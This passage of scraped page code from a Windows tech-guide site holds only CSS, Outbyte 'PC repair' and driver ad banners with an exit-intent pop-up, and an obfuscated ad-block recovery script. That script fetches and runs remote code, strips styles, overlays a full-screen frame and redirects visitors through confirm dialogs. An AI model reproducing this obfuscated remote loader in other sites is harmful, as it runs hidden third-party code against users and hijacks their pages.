.ym-aawp-phase2-top th, html[data-theme="dark"] body .ym-aawp-phase2-top td, html[data-theme="dark"] body .ym-aawp-phase2-box table, html[data-theme="dark"] body .ym-aawp-phase2-box th, html[data-theme="dark"] body .ym-aawp-phase2-box td, html[data-theme="dark"] body .ym-aawp-phase2-bottom table, html[data-theme="dark"] body .ym-aawp-phase2-bottom th, html[data-theme="dark"] body .ym-aawp-phase2-bottom td { background: var(--wp-canvas) !important; border-color: var(--wp-line) !important; color: var(--wp-ink) !important; } html[data-theme="dark"] body .ym-aawp-phase2-top .aawp-product__title, html[data-theme="dark"] body .ym-aawp-phase2-box .aawp-product__title, html[data-theme="dark"] body .ym-aawp-phase2-bottom .aawp-product__title, html[data-theme="dark"] body article.ym-phase2-top-card .aawp-product__title, html[data-theme="dark"] body .ym-aawp-phase2-top .aawp-product__description, html[data-theme="dark"] body .ym-aawp-phase2-box .aawp-product__description, html[data-theme="dark"] body .ym-aawp-phase2-bottom .aawp-product__description { color: var(--wp-ink) !important; } </style> <div class="ym-p3-server-gate dyn-kna33o-wide-rail dyn-kna33o-top" data-ym-phase="3" data-ym-p3-surface="sticky_top_728" data-ym-p3-product="pc_fix" data-ym-p3-impression="p3-itechguides-sticky_top_728-pc_fix-876392-45278c69ad"><button class="dyn-kna33o-close-btn" type="button" aria-label="Close">×</button><a href="https://outebytech.com/FrDNGyzK?sub_id_3=itechguides&sub_id_4=sticky_top_728" target="_blank" rel="nofollow sponsored noopener" data-ym-p3-click="1" data-ym-p3-product="pc_fix" data-ym-p3-surface="sticky_top_728" data-ym-p3-impression="p3-itechguides-sticky_top_728-pc_fix-876392-2e56f70bf1" class="dyn-kna33o-center-media" data-wpel-link="internal"><img src="https://www.itechguides.com/wp-content/uploads/ym-p3-itechguides-media/itechguides-pcrepair-wide-01.png" alt="Recommended PC Tool" width="728" height="90"></a></div><div class="ym-p3-server-gate dyn-kna33o-wide-rail dyn-kna33o-bottom" data-ym-phase="3" data-ym-p3-surface="sticky_bottom_728" data-ym-p3-product="pc_fix" data-ym-p3-impression="p3-itechguides-sticky_bottom_728-pc_fix-876392-da6b23b2a0"><button class="dyn-kna33o-close-btn" type="button" aria-label="Close">×</button><a href="https://outebytech.com/FrDNGyzK?sub_id_3=itechguides&sub_id_4=sticky_bottom_728" target="_blank" rel="nofollow sponsored noopener" data-ym-p3-click="1" data-ym-p3-product="pc_fix" data-ym-p3-surface="sticky_bottom_728" data-ym-p3-impression="p3-itechguides-sticky_bottom_728-pc_fix-876392-90f79ff4d7" class="dyn-kna33o-center-media" data-wpel-link="internal"><img src="https://www.itechguides.com/wp-content/uploads/ym-p3-itechguides-media/itechguides-pcrepair-wide-04.png" alt="Recommended PC Tool" width="728" height="90"></a></div><div class="ym-p3-server-gate dyn-kna33o-corner-panel dyn-kna33o-top-right" data-ym-phase="3" data-ym-p3-surface="sticky_top" data-ym-p3-product="driver" data-ym-p3-impression="p3-itechguides-sticky_top-driver-876392-9d142919ac"><button class="dyn-kna33o-close-btn" type="button" aria-label="Close">×</button><a href="https://outebytech.com/ZTcPH88W?sub_id_3=itechguides&sub_id_4=sticky_top" target="_blank" rel="nofollow sponsored noopener" data-ym-p3-click="1" data-ym-p3-product="driver" data-ym-p3-surface="sticky_top" data-ym-p3-impression="p3-itechguides-sticky_top-driver-876392-29f5900cfc" class="dyn-kna33o-corner-card dyn-kna33o-driver-update" data-wpel-link="internal"><span class="dyn-kna33o-tile"><svg viewBox="0 0 24 24" width="19" height="19" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true" focusable="false"><rect x="5" y="5" width="14" height="14" rx="2"/><rect x="10" y="10" width="4" height="4"/><path d="M9 2v3M15 2v3M9 19v3M15 19v3M2 9h3M2 15h3M19 9h3M19 15h3"/></svg></span><span class="dyn-kna33o-corner-text"><span class="dyn-kna33o-corner-head">Outdated Drivers Are Slowing You Down</span><span class="dyn-kna33o-corner-sub">Free scan - exact matches</span></span><span class="dyn-kna33o-go"><svg viewBox="0 0 24 24" width="18" height="18" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true" focusable="false"><path d="M5 12h14M12 5l7 7-7 7"/></svg></span></a></div><div class="ym-p3-server-gate dyn-kna33o-corner-panel dyn-kna33o-bottom-right" data-ym-phase="3" data-ym-p3-surface="sticky_bottom" data-ym-p3-product="pc_fix" data-ym-p3-impression="p3-itechguides-sticky_bottom-pc_fix-876392-e0938c1201"><button class="dyn-kna33o-close-btn" type="button" aria-label="Close">×</button><a href="https://outebytech.com/FrDNGyzK?sub_id_3=itechguides&sub_id_4=sticky_bottom" target="_blank" rel="nofollow sponsored noopener" data-ym-p3-click="1" data-ym-p3-product="pc_fix" data-ym-p3-surface="sticky_bottom" data-ym-p3-impression="p3-itechguides-sticky_bottom-pc_fix-876392-aa3a0632da" class="dyn-kna33o-corner-card dyn-kna33o-pc-fix" data-wpel-link="internal"><span class="dyn-kna33o-tile"><svg viewBox="0 0 24 24" width="19" height="19" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true" focusable="false"><path d="M14.7 6.3a4.8 4.8 0 0 0-6.4 6.4L3 18l3 3 5.3-5.3a4.8 4.8 0 0 0 6.4-6.4l-3 3-2.1-2.1 3.1-2.9z"/></svg></span><span class="dyn-kna33o-corner-text"><span class="dyn-kna33o-corner-head">Windows Errors? Fix Them Before They Spread</span><span class="dyn-kna33o-corner-sub">Free repair scan</span></span><span class="dyn-kna33o-go"><svg viewBox="0 0 24 24" width="18" height="18" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true" focusable="false"><path d="M5 12h14M12 5l7 7-7 7"/></svg></span></a></div><div class="ym-p3-server-gate"><div id="dyn-kna33o-exit-modal-bg"></div><div id="dyn-kna33o-exit-modal" data-ym-p3-surface="exit_modal" data-ym-p3-product="multi" data-ym-p3-impression="p3-itechguides-exit_modal-multi-876392-a7824e7660"><div class="dyn-kna33o-modal-graphic-panel"><div class="dyn-kna33o-modal-tilegrid"><span class="dyn-kna33o-tile dyn-kna33o-pc-fix"><svg viewBox="0 0 24 24" width="30" height="30" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true" focusable="false"><path d="M14.7 6.3a4.8 4.8 0 0 0-6.4 6.4L3 18l3 3 5.3-5.3a4.8 4.8 0 0 0 6.4-6.4l-3 3-2.1-2.1 3.1-2.9z"/></svg></span><span class="dyn-kna33o-tile dyn-kna33o-driver-update"><svg viewBox="0 0 24 24" width="30" height="30" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true" focusable="false"><rect x="5" y="5" width="14" height="14" rx="2"/><rect x="10" y="10" width="4" height="4"/><path d="M9 2v3M15 2v3M9 19v3M15 19v3M2 9h3M2 15h3M19 9h3M19 15h3"/></svg></span></div><p class="dyn-kna33o-modal-panel-note">Two free Windows tools</p></div><div class="dyn-kna33o-modal-content-panel"><h2>One Free Minute Could Fix That PC</h2><p class="dyn-kna33o-modal-description">Before you go - each of these free tools takes about a minute and tackles what quietly slows a Windows PC down.</p><div class="dyn-kna33o-modal-offers"><a href="https://outebytech.com/ZTcPH88W?sub_id_3=itechguides&sub_id_4=exit_modal" target="_blank" rel="nofollow sponsored noopener" data-ym-p3-click="1" data-ym-p3-product="driver" data-ym-p3-surface="exit_modal" data-ym-p3-impression="p3-itechguides-exit_modal-driver-876392-2d9feb3f3b" class="dyn-kna33o-modal-row dyn-kna33o-driver-update"><span class="dyn-kna33o-tile"><svg viewBox="0 0 24 24" width="20" height="20" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true" focusable="false"><rect x="5" y="5" width="14" height="14" rx="2"/><rect x="10" y="10" width="4" height="4"/><path d="M9 2v3M15 2v3M9 19v3M15 19v3M2 9h3M2 15h3M19 9h3M19 15h3"/></svg></span><span class="dyn-kna33o-modal-row-text"><span class="dyn-kna33o-modal-row-name">Outbyte Driver Updater</span><span class="dyn-kna33o-modal-row-benefit">Fix the driver behind crashes, sound loss and screen glitches</span></span><span class="dyn-kna33o-pill dyn-kna33o-driver-update">Find Drivers →</span></a><a href="https://outebytech.com/FrDNGyzK?sub_id_3=itechguides&sub_id_4=exit_modal" target="_blank" rel="nofollow sponsored noopener" data-ym-p3-click="1" data-ym-p3-product="pc_fix" data-ym-p3-surface="exit_modal" data-ym-p3-impression="p3-itechguides-exit_modal-pc_fix-876392-4bdf89b52d" class="dyn-kna33o-modal-row dyn-kna33o-pc-fix"><span class="dyn-kna33o-tile"><svg viewBox="0 0 24 24" width="20" height="20" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true" focusable="false"><path d="M14.7 6.3a4.8 4.8 0 0 0-6.4 6.4L3 18l3 3 5.3-5.3a4.8 4.8 0 0 0 6.4-6.4l-3 3-2.1-2.1 3.1-2.9z"/></svg></span><span class="dyn-kna33o-modal-row-text"><span class="dyn-kna33o-modal-row-name">Outbyte PC Repair</span><span class="dyn-kna33o-modal-row-benefit">Clear out junk files and repair common Windows errors</span></span><span class="dyn-kna33o-pill dyn-kna33o-pc-fix">Free Scan →</span></a></div><button id="dyn-kna33o-modal-close">No thanks, I'll risk it</button><p class="dyn-kna33o-compliance-note">Special offer. View <a href="https://outbyte.com/" target="_blank">Outbyte</a> info, <a href="https://outbyte.com/en/how-to-uninstall" target="_blank">uninstall instructions</a>, <a href="https://outbyte.com/en/license" target="_blank">EULA</a>, and <a href="https://outbyte.com/en/privacy" target="_blank">Privacy Policy</a>.</p></div></div></div><script id="ym-phase3-runtime"> (function(){ "use strict"; var cfg = {"version":"20260830.1","prefix":"dyn-kna33o","pageId":876392,"site":"itechguides","source":"itechguides","jump":"https:\/\/www.itechguides.com\/go\/p3","urls":{"driver":"https:\/\/outebytech.com\/ZTcPH88W?sub_id_3=itechguides","pc_fix":"https:\/\/outebytech.com\/FrDNGyzK?sub_id_3=itechguides"}}; var prefix = cfg.prefix; if (window.__ymPhase3ServerHeavy20260609A) return; window.__ymPhase3ServerHeavy20260609A = true; if (!document.documentElement.classList.contains("ym-p3-browser-ok") && !(document.body && document.body.classList.contains("ym-p3-browser-ok"))) return; var isMobile = /Mobile|Android|iPhone|iPad|iPod|Tablet|Windows Phone/i.test(navigator.userAgent || ""); var closeBtnHTML = '<button class="' + prefix + '-close-btn" type="button" aria-label="Close">×</button>'; var svgIco = function(body, size) { return '<svg viewBox="0 0 24 24" width="' + size + '" height="' + size + '" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true">' + body + '</svg>'; }; var stickyOffers = [ {product:"pc_fix", accent:prefix + "-pc-fix", icon:svgIco('<path d="M14.7 6.3a4.8 4.8 0 0 0-6.4 6.4L3 18l3 3 5.3-5.3a4.8 4.8 0 0 0 6.4-6.4l-3 3-2.1-2.1 3.1-2.9z"/>', 19), head:"PC Slower Than It Used to Be?", sub:"Free scan - under a minute"}, {product:"driver", accent:prefix + "-driver-update", icon:svgIco('<rect x="5" y="5" width="14" height="14" rx="2"/><rect x="10" y="10" width="4" height="4"/><path d="M9 2v3M15 2v3M9 19v3M15 19v3M2 9h3M2 15h3M19 9h3M19 15h3"/>', 19), head:"Outdated Drivers Slow You Down", sub:"Free driver scan"} ]; var svgArrowGo = svgIco('<path d="M5 12h14M12 5l7 7-7 7"/>', 18); function sessionId() { try { var key = "ym_p3_session"; var value = sessionStorage.getItem(key); if (!value) { value = Date.now().toString(36) + Math.random().toString(36).slice(2); sessionStorage.setItem(key, value); } return value; } catch (e) { return "nosession-" + Date.now().toString(36); } } var sid = sessionId(); function computeHeaderOffset() { var maxBottom = 0; function considerTopBar(el, allowStatic) { if (!el || !el.getBoundingClientRect) return; if (el.classList && el.classList.contains("ym-p3-server-gate")) return; var cs = window.getComputedStyle ? getComputedStyle(el) : null; if (!cs || cs.display === "none" || cs.visibility === "hidden" || cs.opacity === "0") return; if (!allowStatic && cs.position !== "fixed" && cs.position !== "sticky") return; var r = el.getBoundingClientRect(); if (r.width < 160 || r.height < 18 || r.height > 260 || r.bottom <= 0 || r.top > 24) return; maxBottom = Math.max(maxBottom, Math.ceil(r.bottom)); } considerTopBar(document.getElementById("wpadminbar"), true); considerTopBar(document.querySelector(".ym-p1-server-strip"), true); Array.prototype.slice.call(document.body ? document.body.children : []).forEach(function(el) { considerTopBar(el, false); }); var totalTop = maxBottom > 0 ? maxBottom + 8 : 0; document.documentElement.style.setProperty("--rk-top-offset", totalTop + "px"); document.documentElement.style.setProperty("--ym-p3-top-offset", totalTop + "px"); document.documentElement.style.setProperty("--rk-ad-height", (isMobile ? 50 : 90) + "px"); return totalTop; } function postEvent(payload) { return; } function shortImpression(impression) { var m = String(impression || "").match(/-([a-f0-9]{6,16})$/i); return m ? m[1] : ""; } function normSurface(surface) { return String(surface || "unknown").toLowerCase().replace(/[^a-z0-9_]+/g, "_").replace(/inline_after_\d+/, "inline").slice(0, 60); } function buildJumpUrlParts(product, surface, impression) { var pkey = product || "pc_fix"; var base = (cfg.urls && (cfg.urls[pkey] || cfg.urls.pc_fix)) || ""; if (base) return base + "&sub_id_4=" + normSurface(surface); return cfg.jump + "?p=" + encodeURIComponent(pkey) + "&sf=" + normSurface(surface); } function buildJumpUrl(link) { return buildJumpUrlParts( link.getAttribute("data-ym-p3-product") || "pc_fix", link.getAttribute("data-ym-p3-surface") || "unknown", link.getAttribute("data-ym-p3-impression") || "" ); } function prepareLink(link) { if (!link || link.getAttribute("data-ym-p3-prepared") === "1") return; link.setAttribute("href", buildJumpUrl(link)); link.setAttribute("data-ym-p3-prepared", "1"); } function renderStickyOffer(slot, offset, index) { var offer = stickyOffers[(index + offset) % stickyOffers.length]; var surface = slot.getAttribute("data-ym-p3-surface") || "sticky"; var impression = surface + "-" + cfg.pageId + "-" + Date.now().toString(36); slot.setAttribute("data-ym-p3-product", offer.product); slot.setAttribute("data-ym-p3-impression", impression); var href = buildJumpUrlParts(offer.product, surface, impression); slot.innerHTML = closeBtnHTML + '<a href="' + href + '" target="_blank" rel="nofollow sponsored noopener" class="' + prefix + '-corner-card ' + offer.accent + '" data-wpel-link="internal" data-ym-p3-click="1" data-ym-p3-product="' + offer.product + '" data-ym-p3-surface="' + surface + '" data-ym-p3-impression="' + impression + '"><span class="' + prefix + '-tile">' + offer.icon + '</span><span class="' + prefix + '-corner-text"><span class="' + prefix + '-corner-head">' + offer.head + '</span><span class="' + prefix + '-corner-sub">' + offer.sub + '</span></span><span class="' + prefix + '-go">' + svgArrowGo + '</span></a>'; } function setupStickyRotation() { var topR = document.querySelector("." + prefix + "-corner-panel." + prefix + "-top-right"); var bottomR = document.querySelector("." + prefix + "-corner-panel." + prefix + "-bottom-right"); if (!topR && !bottomR) return; var stickyOfferIndex = 0; setInterval(function() { if (!document.body.contains(topR) && !document.body.contains(bottomR)) return; stickyOfferIndex = (stickyOfferIndex + 1) % stickyOffers.length; if (topR && document.body.contains(topR)) renderStickyOffer(topR, 0, stickyOfferIndex); if (bottomR && document.body.contains(bottomR)) renderStickyOffer(bottomR, 1, stickyOfferIndex); }, 8000); } function setupViews() { return; } function setupModal() { var bg = document.getElementById(prefix + "-exit-modal-bg"); var modal = document.getElementById(prefix + "-exit-modal"); var close = document.getElementById(prefix + "-modal-close"); if (!bg || !modal || !close) return; var modalTracked = false; function showModal() { if (modal.style.display === "flex") return; bg.style.display = "block"; modal.style.display = "flex"; if (!modalTracked) { modalTracked = true; } } function hideModal() { try { localStorage.setItem("rkExitDismiss", Date.now()); } catch (e) {} bg.style.display = "none"; modal.style.display = "none"; } document.addEventListener("mouseout", function(e) { if (!e.toElement && !e.relatedTarget && e.clientY < 10) { var lastDismiss = 0; try { lastDismiss = +localStorage.getItem("rkExitDismiss") || 0; } catch (err) {} if (Date.now() - lastDismiss > 86400000) showModal(); } }); close.addEventListener("click", hideModal); bg.addEventListener("click", hideModal); } document.addEventListener("pointerdown", function(e){ prepareLink(e.target.closest && e.target.closest("a[data-ym-p3-click='1']")); }, true); document.addEventListener("mousedown", function(e){ prepareLink(e.target.closest && e.target.closest("a[data-ym-p3-click='1']")); }, true); document.addEventListener("touchstart", function(e){ prepareLink(e.target.closest && e.target.closest("a[data-ym-p3-click='1']")); }, true); document.addEventListener("keydown", function(e){ if (e.key === "Enter" || e.key === " ") prepareLink(e.target.closest && e.target.closest("a[data-ym-p3-click='1']")); }, true); document.addEventListener("click", function(e) { var closeButton = e.target.classList && e.target.classList.contains(prefix + "-close-btn") ? e.target : null; if (closeButton) { var bannerWrapper = closeButton.closest("." + prefix + "-wide-rail, ." + prefix + "-context-rail, ." + prefix + "-commerce-panel, ." + prefix + "-context-fallback, ." + prefix + "-corner-panel, ." + prefix + "-universal-card, ." + prefix + "-sidebar-image-widget"); if (bannerWrapper) { var complianceNote = bannerWrapper.nextElementSibling; if (complianceNote && complianceNote.classList.contains(prefix + "-compliance-note")) complianceNote.remove(); bannerWrapper.remove(); } return; } prepareLink(e.target.closest && e.target.closest("a[data-ym-p3-click='1']")); }, true); computeHeaderOffset(); window.addEventListener("resize", computeHeaderOffset); window.addEventListener("load", computeHeaderOffset); setTimeout(computeHeaderOffset, 400); setTimeout(computeHeaderOffset, 1200); setupStickyRotation(); setupViews(); setupModal(); })(); </script> <!-- YM_PHASE3_SERVER_HEAVY_END --> <link rel="stylesheet" id="essb-social-followers-counter" href="https://www.itechguides.com/wp-content/plugins/easy-social-share-buttons3/lib/modules/social-followers-counter/assets/social-profiles.min.css" type="text/css" media="all" /><script type="text/javascript"></script><script id="ym-disable-sticky-header-js"> (function () { function resetGeneratePress() { document.querySelectorAll('.main-navigation.navigation-stick, .main-navigation.is_stuck, #mobile-header.navigation-stick, #mobile-header.is_stuck').forEach(function (el) { el.classList.remove('navigation-stick', 'is_stuck'); ['position', 'top', 'right', 'left', 'bottom', 'width', 'max-width', 'transform'].forEach(function (prop) { el.style.removeProperty(prop); }); }); } function resetAsona() { document.querySelectorAll('.site-header[data-is-sticky], .site-header[data-sticky-animate]').forEach(function (el) { el.removeAttribute('data-is-sticky'); el.removeAttribute('data-sticky-animate'); }); } function resetDivi() { var header = document.getElementById('main-header'); if (header) { header.classList.remove('et-fixed-header'); } document.body.classList.remove('et_fixed_nav_temp'); } function run() { if (document.body.classList.contains('ym-theme-generatepress')) { resetGeneratePress(); } else if (document.body.classList.contains('ym-theme-asona')) { resetAsona(); } else if (document.body.classList.contains('ym-theme-divi')) { resetDivi(); } } run(); window.addEventListener('load', run, { passive: true }); window.addEventListener('resize', run, { passive: true }); window.addEventListener('scroll', run, { passive: true }); })(); </script> <script data-no-optimize='1' data-cfasync='false' id='adblock-detection-23678f0'>(function(){(function(e){if(e.cookie.indexOf(`__adblocker`)===-1){let t=!1,n=function(){t=!0};window.addEventListener(`pagehide`,n);let r=navigator.userAgent,i=/AppleWebKit/.test(r)&&!/Chrome/.test(r)||/\b(iPad|iPhone|iPod)\b/.test(r),a=new XMLHttpRequest;a.open(`GET`,`https://ads.adthrive.com/abd/abd.js`,!0),a.onreadystatechange=function(){if(a.readyState===4){if(window.removeEventListener(`pagehide`,n),a.status===200){let t=e.createElement(`script`);t.innerHTML=a.responseText,e.getElementsByTagName(`head`)[0].appendChild(t);return}if(!navigator.onLine||t||i&&e.visibilityState===`hidden`)return;let r=new Date;r.setTime(r.getTime()+300*1e3),e.cookie=`__adblocker=true; expires=`+r.toUTCString()+`; path=/`}},a.send()}})(document)})();</script><script data-no-optimize='1' data-cfasync='false' data-abr-mode='light' id='adblock-recovery-23678f0'>(function(){(function(){var e=document.currentScript,t=e&&e.dataset&&e.dataset.abrMode?e.dataset.abrMode:`light`;function n(){var e=document.cookie.match(`(^|[^;]+)\\s*__adblocker\\s*=\\s*([^;]+)`);return e&&e.pop()}function r(){var e=document.createElement(`script`);e.async=!0,e.id=`Tqgkgu`,e.setAttribute(`data-sdk`,`l/1.1.15`),e.setAttribute(`data-cfasync`,`false`),e.src=`https://html-load.com/loader.min.js`,e.charset=`UTF-8`,e.setAttribute(`data`,`kfpvgbrkab9r4a5rkrqrkwagrw6rzrv8rxag0asrka5abaoagrxa5srxrxabasrkrvabaoaxrx0asrkabrxfaba1raa5a5asrkr9wa1agrw6rzr9rkaia8`),e.setAttribute(`onload`,`(async()=>{let e='html-'+'load.com';const t=window,a=document,r=e=>new Promise((t=>{const a=.1*e,r=e+Math.floor(2*Math.random()*a)-a;setTimeout(t,r)})),o=t.addEventListener.bind(t),n=t.postMessage.bind(t),s=btoa,i='message',l=location,c=Math.random;try{const t=()=>new Promise(((e,t)=>{let a=c().toString(),r=c().toString();o(i,(e=>e.data===a&&n(r,'*'))),o(i,(t=>t.data===r&&e())),n(a,'*'),setTimeout((()=>{t(Error('Timeout'))}),1231)})),a=async()=>{try{let e=!1;const a=c().toString();if(o(i,(t=>{t.data===a+'_as_res'&&(e=!0)})),n(a+'_as_req','*'),await t(),await r(500),e)return!0}catch(e){}return!1},s=[100,500,1e3];for(let o=0;o<=s.length&&!await a();o++){if(o===s.length-1)throw'Failed to load website properly since '+e+' is tainted. Please allow '+e;await r(s[o])}}catch(d){try{const e=a.querySelector('script#Tqgkgu').getAttribute('onerror');t[s(l.hostname+'_show_bfa')]=d,await new Promise(((t,r)=>{o('message',(e=>{'as_modal_loaded'===e.data&&t()})),setTimeout((()=>r(d)),3e3);const n=a.createElement('script');n.innerText=e,a.head.appendChild(n),n.remove()}))}catch(m){(t=>{const a='https://report.error-report.com/modal';try{confirm('There was a problem loading the page. Please click OK to learn more.')?l.href=a+'?url='+s(l.href)+'&error='+s(t)+'&domain='+e:l.reload()}catch(d){location.href=a+'?eventId=&error=Vml0YWwgQVBJIGJsb2NrZWQ%3D&domain='+e}})(d)}}})();`),e.setAttribute(`onerror`,`(async()=>{const e=window,t=document;let r=JSON.parse(atob('WyJodG1sLWxvYWQuY29tIiwiZmIuaHRtbC1sb2FkLmNvbSIsImQzN2o4cGZ4dTJpb2dpLmNsb3VkZnJvbnQubmV0IiwiY29udGVudC1sb2FkZXIuY29tIiwiZmIuY29udGVudC1sb2FkZXIuY29tIl0=')),o=r[0];const a='addEventListener',n='setAttribute',s='getAttribute',i=location,l=clearInterval,c='as_retry',d=i.hostname,h=e.addEventListener.bind(e),m=btoa,u='https://report.error-report.com/modal',b=e=>{try{confirm('There was a problem loading the page. Please click OK to learn more.')?i.href=u+'?url='+m(i.href)+'&error='+m(e)+'&domain='+o:i.reload()}catch(t){location.href=u+'?eventId=&error=Vml0YWwgQVBJIGJsb2NrZWQ%3D&domain='+o}},p=async e=>{try{localStorage.setItem(i.host+'_fa_'+m('last_bfa_at'),Date.now().toString())}catch(p){}setInterval((()=>t.querySelectorAll('link,style').forEach((e=>e.remove()))),100);const r=await fetch('https://error-report.com/report?type=loader_light&url='+m(i.href)+'&error='+m(e),{method:'POST'}).then((e=>e.text())),a=new Promise((e=>{h('message',(t=>{'as_modal_loaded'===t.data&&e()}))}));let s=t.createElement('iframe');s.src=u+'?url='+m(i.href)+'&eventId='+r+'&error='+m(e)+'&domain='+o,s[n]('style','width:100vw;height:100vh;z-index:2147483647;position:fixed;left:0;top:0;');const c=e=>{'close-error-report'===e.data&&(s.remove(),removeEventListener('message',c))};h('message',c),t.body.appendChild(s);const d=setInterval((()=>{if(!t.contains(s))return l(d);(()=>{const e=s.getBoundingClientRect();return'none'!==getComputedStyle(s).display&&0!==e.width&&0!==e.height})()||(l(d),b(e))}),1e3);await new Promise(((t,r)=>{a.then(t),setTimeout((()=>r(e)),3e3)}))},f=m(d+'_show_bfa');if(e[f])p(e[f]);else try{if(void 0===e[c]&&(e[c]=0),e[c]>=r.length)throw'Failed to load website properly since '+o+' is blocked. Please allow '+o;if((()=>{const t=e=>{let t=0;for(let r=0,o=e.length;o>r;r++)t=(t<<5)-t+e.charCodeAt(r),t|=0;return t},r=Date.now(),o=r-r%864e5,a=o-864e5,n=o+864e5,s='loader-check',i='as_'+t(s+'_'+o),l='as_'+t(s+'_'+a),c='as_'+t(s+'_'+n);return i!==l&&i!==c&&l!==c&&!!(e[i]||e[l]||e[c])})())return;const i=t.querySelector('#Tqgkgu'),l=t.createElement('script');for(let e=0;e<i.attributes.length;e++)l[n](i.attributes[e].name,i.attributes[e].value);const h=m(d+'_onload');e[h]&&l[a]('load',e[h]);const u=m(d+'_onerror');e[u]&&l[a]('error',e[u]);const b=new e.URL(i[s]('src'));b.host=r[e[c]++],l[n]('src',b.href),i[n]('id',i[s]('id')+'_'),i.parentNode.insertBefore(l,i),i.remove()}catch(w){try{await p(w)}catch(w){b(w)}}})();`),document.head.appendChild(e);var t=document.createElement(`script`);t.setAttribute(`data-cfasync`,`false`),t.setAttribute(`nowprocket`,``),t.textContent=`(async()=>{function t(t) { const e = t.length; let o = ''; for (let r = 0; e > r; r++) { o += t[2939 * (r + 20) % e] } return o }const e=window,o=t('Elementcreate'),r=t('pielnddaCph'),n=t('erdeLtedvtsnaEni'),c=t('tAtesetubirt'),a=document,i=a.head,s=a[o].bind(a),d=i[r].bind(i),l=location,m=l.hostname,h=btoa;e[n].bind(e);let u=t('oad.comhtml-l');(async()=>{try{const n=a.querySelector(t('#Tqgkguscript'));if(!n)throw t('onnaC dnif t')+u+t('i.cp rts');const i=n.getAttribute(t('nororre')),f=n.getAttribute(t('aolnod')),p=await new Promise((o=>{const r=t('x')+Math.floor(1e6*Math.random());e[r]=()=>o(!0);const n=s(t('pircst'));n.src=t(':atad;'),n[c](t('nororre'),t('iw.wodn')+r+t('()')),d(n),setTimeout((()=>{o(!1), n.remove()}),251)}));if(p)return;function o(){const e=s(t('pircst'));e.innerText=i,d(e),e.remove()}const b=h(m+t('o_daoln')),w=h(m+t('rrnr_eoo'));e[b]=function(){const e=s(t('pircst'));e.innerText=f,d(e),e.remove()},e[w]=o,o()}catch(r){(e => { const o = t('ro/treeol/t-.dsoormterpmh/.rca:rrtopp'); try { const r = t('cleopr eges.eke aremtc. m Ta apdo ool t ahrOsaibwr iPhl enKegnlael'); confirm(r) ? l.href = o + t('?=lru') + h(l.href) + t('e&=rorr') + h(e) + t('a=oi&mnd') + u : l.reload() } catch (r) { location.href = o + t('J%ndVVNdvrYGQiI=Q2&ee0IWatrgbD?&lJZmnows3==mBroerW') + u } })(r)}})()})();`,document.head.appendChild(t)}function i(){var e=document.createElement(`script`);e.setAttribute(`data-cfasync`,`false`),e.dataset.domain=`html-load.cc`,e.textContent=`(function(){function p(){const X=['W64nwmoJW7hdK8kjW7BcUMu','W60xWQxcMW','WRabWRBcHq','W7fJWRm/','xmoZvmkR','W6BdLSo8Aq','W59mcrC','qdZdImop','WQuUq0S','W5WQW4FdLW','pCkHygO','WPHguSoy','W6tcGaHl','qN/dRSkS','W4b6WO0','W4fucuW','W4tdNSoVeq','W5pcISoUwq','aa0ywq','amkvhuu','mZhcMmkm','WOm3WOKv','WRVcH8kkwmoJBCoXW5/cMq','x8kPW57dTG','mSo9se8','EIvxoW','W51ihf8','WRexWQFcJG','g3BdPCox','cWSCrq','W6L+WQ1G','mCkIBMS','W5WIW4JdISkVW5BdRCkPnCku','W7rtW7JcNG','WORcSWu','W5hdR8o0W4y','nSkKW6NdVW','jqBcUXO','ax7cMa','W6iex8oZjCk9W45Utq','WPPqv8oz','W6zsWQhcRa','W4JdHmk1bG','sSo9q8kS','kItcN1O','W4tdN8kSfW','WQ5Aa8k0','W5mgdvW','kYhcVIK','fmozW7a/','W6n9WQvR','W7b1WQ5X','WRizWPW','hSkGW43dKa','W6OgvSoJW4hdUSkWW4dcGKa','aHSvBa','WP8SWOGi','rmkkqH3cM23cPSoHW7xcOq','WO7cI0ZcKa','W4ZdH8kHW4e','WRldMLuoWRqlFSkYr8o+W4pdGG','jH3cRmkA','A8k6c2FdS2tdSuldSW','oY3cGWe','W6FdNmoqCq','c2dcLwy','v2ubWOC','o8oju8og','W4xdLSkYwq','WRfEW6NdHG','W78yW6BcRa','nmovW60S','WOhcQSkWWPPqB2tdUaPvC8o/','WO3dG8kPhW','W47dKCk2','a8kTW4tcSa','WOvmaSop','dwdcJNK','WRnnW69a','sNFdRG','WOrwwCow','WRewWQu','o1BcPCkx','tCo7DmkP','WQObWQFcJq','jWVdSLG','z8o0mem0lYJcT8kq','W4hcTbpdGG','a8kNW7ZdKq','pcxcJCkr','xCkWuSkM','WPGsrq4qWQz2s8oPW6RdPW','fCkGW4i','WOqDwHPcW4KGWOJcJW','CSkWz2u','WOS/W4/dNa','xdddQmop','WQ/dMSojW58','WPXru8of','pvZcS8oEkaVdLgbvlMK','W7nrW7lcVJRdUYVcTvO','WP5dwSof','WO9qsmoh','W4ebdSkkamkLrZCvW5mDFG','wMOrWOm','udJdUCoc','vNCgWOm','mCkNqgy','W7/dR8kGbq','m8kKW7m','W5ZcNCk+W5i','WQ0cWOLG','W7FcVCooca','CCo0WRpdNeryoCk4lW','zv/cPmks','cwNdJCog','rNxdVSk6','WRjrW5a9','W79lW69f','W5T2W4Tq','ue9ieCowrwlcUMpdUNDw','W4BdNSk3','xSkQW6VdJa','pN8jWPG','nmoTyge','E1RcPe/cVZ3cOCk4W4tdTq','umo7xCkH','n27cMSki','W5RdJW/dG3ZdOCowW4lcNJhdUW','qCo8WO7dQ8kuWR8QW4Gusqa','a8ofzCoE','EwpcIJddHrTkW7u','gSkveua','pdxcGCki','e8k8W5pcUa','es7cHSkD','WOHdwCoh','W6JcMGvy','W5NdIq7dHNJcPSoMW4dcKJVdL3e','W69+W69S','i8kQWQNdQa','W6WyWONdH